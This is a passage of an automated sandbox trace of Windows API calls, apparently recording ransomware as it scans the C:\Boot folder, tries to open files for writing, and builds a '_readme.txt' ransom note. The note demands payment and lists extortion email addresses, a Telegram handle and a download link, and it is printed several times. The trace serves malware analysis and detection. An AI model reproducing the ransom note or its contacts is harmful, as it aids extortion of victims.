hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.954] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.954] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.955] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0124.955] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.955] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.955] PathFindFileNameW (pszPath="") returned="" [0124.955] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.955] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.955] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.955] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.956] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0124.956] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0124.956] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.956] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.956] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.956] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.956] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.956] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.956] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0124.956] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.957] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.957] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.957] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.957] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 